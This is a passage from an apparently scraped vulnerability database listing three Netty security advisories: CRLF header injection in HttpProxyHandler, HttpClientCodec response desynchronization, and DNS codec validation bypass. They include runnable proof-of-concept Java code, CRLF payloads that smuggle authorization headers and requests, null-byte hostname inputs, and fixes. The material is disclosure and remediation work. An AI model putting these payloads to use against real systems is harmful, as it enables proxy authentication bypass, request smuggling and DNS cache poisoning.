req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-57RV-R2G8-2CJ3
Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty has HttpClientCodec response desynchronization
Details
Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
Severity
7.3 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42584"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:21:48Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n @Test\n public void test() {\n EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n ByteBuf request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse response = channel.readInbound();\n assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n LastHttpContent last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 2\n response = channel.readInbound();\n assertEquals(HttpResponseStatus.OK, response.status());\n last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 3\n FullHttpResponse response1 = channel.readInbound();\n assertTrue(response1.decoderResult().isFailure());\n assertEquals(0, response1.content().readableBytes());\n response1.release();\n\n assertFalse(channel.finish());\n }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
"id": "GHSA-57rv-r2g8-2cj3",
"modified": "2026-05-14T20:41:17Z",
"published": "2026-05-07T00:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty has HttpClientCodec response desynchronization"
}
GHSA-CM33-6792-R9FM
Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40
VLAI
Summary
Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)
Details
Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-dns) |
| Component | io.netty.handler.codec.dns.DnsCodecUtil |
| Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |
| Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
io.netty.handler.codec.dns.DnsCodecUtil—encodeDomainName()method (lines 31-51):- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
-
Empty labels silently truncate the domain name
-
io.netty.handler.codec.dns.DnsCodecUtil—decodeDomainName()method (lines 53-118): - No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees
"evil\0.example.com"as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only
"evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length
0xC8would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
break; // NO ERROR - silently truncates!
}
// NO check: labelLen > 63
// NO check: label contains null bytes
// NO check: total name > 255 bytes
buf.writeByte(labelLen); // Can write values > 63!
ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!
}
buf.writeByte(0);
}
Root Cause — Decoder
// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63
throw new CorruptedFrameException("truncated label in a name");
}
name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
// ^^^^^^ StringBuilder grows WITHOUT any length limit
in.skipBytes(len);
}
Missing checks in decoder:
- No if (len > 63) check per RFC 1035 Section 2.3.4
- No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound)
- An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
- The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound)
- An application uses Netty's
codec-dnsorresolver-dnsmodule to process DNS responses - The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
String hostname = userInput; // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
.addRecord(DnsSection.QUESTION,
new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)]
↑
Label interpretation: 200-byte label starting with 'a'
Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method encode = clazz.getDeclaredMethod("encodeDomainName",
String.class, ByteBuf.class);
encode.setAccessible(true);
// Test 1: Null byte in domain name
ByteBuf buf = Unpooled.buffer(256);
encode.invoke(null, "evil\0.example.com", buf);
byte[] bytes = new byte[buf.readableBytes()];
buf.readBytes(bytes);
buf.release();
System.out.print("[TEST 1] Null byte - Encoded: ");
for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label
ByteBuf buf2 = Unpooled.buffer(512);
encode.invoke(null, "a".repeat(200) + ".com", buf2);
System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
System.out.println("VULNERABLE: Overlength label accepted!");
buf2.release();
// Test 3: Empty label truncation
ByteBuf buf3 = Unpooled.buffer(256);
encode.invoke(null, "a..b.com", buf3);
byte[] bytes3 = new byte[buf3.readableBytes()];
buf3.readBytes(bytes3);
buf3.release();
System.out.print("\n[TEST 3] Empty label - Encoded: ");
for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Domain silently truncated!");
}
}
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63)
ByteBuf buf1 = Unpooled.buffer(256);
buf1.writeByte(100);
buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(3);
buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(0);
String r1 = (String) decode.invoke(null, buf1);
buf1.release();
System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
" VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
ByteBuf buf2 = Unpooled.buffer(512);
for (int i = 0; i < 5; i++) {
buf2.writeByte(60);
buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
.getBytes(StandardCharsets.US_ASCII));
}
buf2.writeByte(0);
String r2 = (String) decode.invoke(null, buf2);
buf2.release();
System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
" VULNERABLE=" + (r2.length() > 255));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC:
=== Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name
Input: "evil\0.example.com"
Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
Null byte in label data: true
VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder
Input: "aaaaaa..." (200-char label)
Encoded bytes: 206
VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots)
Input: "a..b.com"
Encoded bytes: 01 61 00
Note: Empty label truncates the name (may lose data)
Decoder PoC:
=== Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation)
Label length: 100 bytes (RFC limit: 63)
Decoded name length: 105
VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels
5 labels x 60 bytes = 300+ bytes total
RFC 1035 limit: 255 bytes
Decoded name length: 305
VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations |
| Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |
| DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet |
| Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies |
| Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |
| Silent Truncation | Empty labels silently drop the remainder of the domain name |
| Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
int totalLength = 0;
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
throw new IllegalArgumentException("DNS name contains empty label: " + name);
}
if (labelLen > 63) {
throw new IllegalArgumentException(
"DNS label length " + labelLen + " exceeds maximum of 63: " + name);
}
for (int i = 0; i < label.length(); i++) {
if (label.charAt(i) == '\0') {
throw new IllegalArgumentException(
"DNS label contains null byte at index " + i);
}
}
totalLength += 1 + labelLen;
if (totalLength > 254) {
throw new IllegalArgumentException(
"DNS name exceeds maximum length of 255: " + name);
}
buf.writeByte(labelLen);
ByteBufUtil.writeAscii(buf, label);
}
buf.writeByte(0);
}
Fix for Decoder (decodeDomainName)
// Add after "} else if (len != 0) {":
if (len > 63) {
throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}
9. Resources
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
